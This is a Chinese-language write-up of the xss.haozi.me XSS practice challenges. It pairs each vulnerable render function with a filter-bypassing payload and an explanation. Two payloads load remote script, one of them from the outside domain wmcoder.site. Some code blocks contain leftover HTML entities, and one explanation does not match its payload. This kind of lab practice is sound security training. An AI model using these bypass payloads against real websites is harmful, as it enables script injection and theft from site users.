xss-demo刷题记录


xss-demo刷题记录

网址:https://xss.haozi.me/

原文运行截图所在的旧对象存储已经失效。本文保留题目、代码和解题思路,截图不再展示。

相关知识

刷题记录

0x00

server code

function render (input) {
  return '<div>' + input + '</div>'
}

input code

<script>alert(1)</script>

解释

在标签内且无过滤。

运行截图

0x01

server code

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

input code

</textarea><script>alert(1)</script>

解释

文本框标签中无法弹窗,所以先闭合 <textarea> 标签。

运行截图

0x02

server code

function render (input) {
  return '<input type="name" value="' + input + '">'
}

input code

"><svg/onload=alert(1)>

解释

插入的代码在input标签的value属性中,可以直接闭合input标签。

运行截图

0x03

server code

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

input code

<script>alert`1`</script>

解释

过滤了圆括号。

模板字符串紧跟在函数名后面,该函数将被调用来处理这个模板字符串。

模板字符串使用反引号来代替普通字符串中的双引号和单引号。

运行结果

0x04

server code

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

input code

<script>window.onerror=eval;throw'=alert\x281\x29'</script
<iframe srcdoc="<script>parent.alert&#40;1&#41;</script>"
<svg><script>alert&#40;1&#41</script

解释

  • 过滤了圆括号和反引号。

  • <svg> 标签中可以直接执行 HTML 实体字符。

  • 或者 <iframe> 标签的 srcdoc 里面的内容可以直接在 HTML 中显示出来。

运行结果

0x05

server code

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

input code

--!><script>alert(1)</script>

解释

将–>替换成表情,并且输入的内容在注释中输出。

HTML 有两种注释方法:<!--注释--><!--注释--!>,这里可以用对称感叹号的方法注释。

运行结果

0x06

server code

function render (input) &#123;
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 $&#123;input&#125; type="text">`
&#125;

input code

type=image src onerror
=alert(1)

解释

将以anto或者on开头,并且以等号结尾的标签属性替换成_ ,这里可以用换行。

运行结果

0x07

server code

function render (input) &#123;
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>$&#123;input&#125;</article>`
&#125;

input code1

<body onload="alert(1)"

解释1

将以 < 开头、> 结尾并且忽略大小写的字符替换成空。

可以利用浏览器的容错,去掉>。

运行截图1

input code2

<svg/onload=alert(1)

解释2

运行截图2

运行结果

0x08

server code

function render (src) &#123;
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      $&#123;src&#125;
    </style>
  `
&#125;

input code

</style ><script>alert(1)</script>

解释

</style> 替换成 \u574F\u4EBA,利用换行绕过。

运行结果

0x09

server code

function render (input) &#123;
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) &#123;
    return `<script src="$&#123;input&#125;"></script>`
  &#125;
  return 'Invalid URL'
&#125;

input code

https://www.segmentfault.com/" onload=alert(1)>

解释

要求以https://www.segmentfault.com开头的输入,否则失败。并且输入的url在script标签的src属性里面,还需要将这个标签闭合。

运行结果

0x0A

server code

function render (input) &#123;
  function escapeHtml(s) &#123;
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  &#125;

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) &#123;
    return `<script src="$&#123;escapeHtml(input)&#125;"></script>`
  &#125;
  return 'Invalid URL'
&#125;

input code

https://www.segmentfault.com.wmcoder.site/j.js

解释

对很多符号进行了转义,例如 &'"<>/ 都转义成了 HTML 实体编码,HTML 实体编码在 HTML 标签的属性中可以直接进行解析。并且匹配了以 https://www.segmentfault.com 开头的 URL。当我们访问 https://www.baidu.com@www.sina.com 的时候,实际访问的是 https://www.sina,com。所以这里可以用指定的 URL 开头,再用 @ 符号执行自己的 JavaScript,其中包含弹窗代码。

运行结果

0x0B

server code

function render (input) &#123;
  input = input.toUpperCase()
  return `<h1>$&#123;input&#125;</h1>`
&#125;

input code

<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

解释

输入的内容全部变成大写。在html标签和url中不区分大小写,但是js严格区分大小写。

所以我们可以在标签的属性内用https://xss.haozi.me/j.js 这里面的脚本来进行弹窗,或者是用alert(1)的时候进行编码,可以转成html编码。

运行结果

0x0C

server code

function render (input) &#123;
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
&#125;

input code

<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#10;>

解释

把script替换成空,输入全部大写。

这里我们可以不用script标签

运行结果

0x0D

server code

function render (input) &#123;
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('$&#123;input&#125;')
    </script>
  `
&#125;

input code

')
alert(1)
-->

解释

将符号 </"' 替换成空,并且输入的内容是注释,这里可以用换行绕过。再用 HTML 注释符 --> 注释掉后面的单引号和圆括号。

运行结果

0x0E

server code

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

input code

<ſcript src="https://xss.haozi.me/j.js"></script>

解释

将 < 开头的不管后面是什么字母都通通加上一个_ ,所以所有的标签都不能用。

字符ſ大写后为S。

运行结果

0x0F

server code

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

input code

');alert('1

解释

对字符 &'"<>/ 进行 HTML 编码。输入内容在 img 标签中,所以编码没有影响。内容在 console.error 中,可以闭合 console.error,并在 onerror 属性中添加一个 alert

运行结果

0x10

server code

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

input code

'';alert(1)

解释

没有过滤,在script标签中直接执行。

运行结果

0x11

server code

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

input code

"),alert("1

解释

过滤了很多的字符。并且将” 替换成 " ,但是并没有什么卵用,\正好可以当做是双引号里面的内容。输入的内容在javascript:console.log里面,我们将这个闭合以后添加一个alert然后把后面的注释掉。

运行结果

0x12

server code

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

input code

\");alert(1)//

解释

将 “ 替换成 " ,输入的内容在console.log里面,在html标签外面,所以不能进行html编码。

这里可以直接闭合掉script标签,重新添加一个

</script><script>alert(1)</script>

也可以将替换的 " 的 \在前面再添加一个\转义掉。

\");alert(1);//

运行结果


  目录